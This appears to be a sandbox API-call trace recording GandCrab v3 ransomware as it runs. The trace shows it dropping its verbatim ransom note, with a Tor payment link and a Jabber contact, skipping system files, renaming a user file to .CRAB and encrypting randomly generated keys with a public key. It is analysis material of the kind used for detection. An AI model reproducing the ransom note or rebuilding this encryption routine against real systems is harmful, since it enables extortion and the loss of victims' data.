	[0109.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.559] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.560] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.560] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.560] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.560] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.560] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.560] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.560] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\CRAB-DECRYPT.txt") returned 66
	[0109.560] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.561] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.561] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0109.561] CloseHandle (hObject=0x3ec) returned 1
	[0109.562] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned 49
	[0109.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*"
	[0109.562] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xd80820
	[0109.562] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.562] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.562] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.562] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.562] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.562] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.562] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt"
	[0109.562] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.563] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt") returned 65
	[0109.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt") returned 65
	[0109.563] lstrlenW (lpString=".txt") returned 4
	[0109.563] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.563] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.563] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt") returned 65
	[0109.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\CRAB-DECRYPT.txt") returned 65
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.563] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.564] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.564] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.564] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.564] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1
	[0109.564] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1
	[0109.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}"
	[0109.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\"
	[0109.564] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.564] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.565] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.565] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.565] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.565] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.565] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.565] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\CRAB-DECRYPT.txt") returned 105
	[0109.565] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\{ca8ca1bb-f2a6-4e9c-b7cc-fb56671763e8}\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.566] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.566] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.566] CloseHandle (hObject=0x3f0) returned 1
	[0109.567] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.567] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned 88
	[0109.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*"
	[0109.567] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd80ce0
	[0109.567] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.567] FindNextFileW (in: hFindFile=0xd80ce0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.567] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.567] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.567] FindNextFileW (in: hFindFile=0xd80ce0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.567] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.567] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt"
	[0109.567] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.568] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt") returned 104
	[0109.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt") returned 104
	[0109.568] lstrlenW (lpString=".txt") returned 4
	[0109.568] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.568] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.568] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt") returned 104
	[0109.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\CRAB-DECRYPT.txt") returned 104
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.568] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.568] FindNextFileW (in: hFindFile=0xd80ce0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.568] FindClose (in: hFindFile=0xd80ce0 | out: hFindFile=0xd80ce0) returned 1
	[0109.569] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0109.569] FindClose (in: hFindFile=0xd80820 | out: hFindFile=0xd80820) returned 1
	[0109.569] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.569] lstrcmpW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2=".") returned 1
	[0109.569] lstrcmpW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="..") returned 1
	[0109.569] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="IgMN c6KE0BQMjB3AV4T.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png"
	[0109.569] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.569] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png") returned 62
	[0109.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png") returned 62
	[0109.569] lstrlenW (lpString=".png") returned 4
	[0109.569] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.569] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0109.569] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png") returned 62
	[0109.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png") returned 62
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="desktop.ini") returned 1
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="autorun.inf") returned 1
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="ntuser.dat") returned -1
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="iconcache.db") returned 1
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="bootsect.bak") returned 1
	[0109.569] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="boot.ini") returned 1
	[0109.570] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="ntuser.dat.log") returned -1
	[0109.570] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="thumbs.db") returned -1
	[0109.570] lstrcmpiW (lpString1="IgMN c6KE0BQMjB3AV4T.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.570] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.570] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB") returned 67
	[0109.570] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\igmn c6ke0bqmjb3av4t.png")) returned 0x20
	[0109.570] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png", dwFileAttributes=0x20) returned 1
	[0109.571] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\igmn c6ke0bqmjb3av4t.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\igmn c6ke0bqmjb3av4t.png.crab")) returned 1
	[0109.571] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.571] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB"
	[0109.572] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB.CRAB"
	[0109.572] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0109.572] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.573] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.573] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.573] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.573] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.573] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0109.573] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.574] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.574] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.574] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.574] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.574] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.575] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.575] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0109.575] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80a60) returned 1
	[0109.575] CryptGetKeyParam (in: hKey=0xd80a60, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.575] CryptEncrypt (in: hKey=0xd80a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.576] GetLastError () returned 0x0
	[0109.576] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.576] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e738) returned 1
	[0109.576] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80d60) returned 1
	[0109.576] CryptGetKeyParam (in: hKey=0xd80d60, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.576] CryptEncrypt (in: hKey=0xd80d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.577] GetLastError () returned 0x0
	[0109.577] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
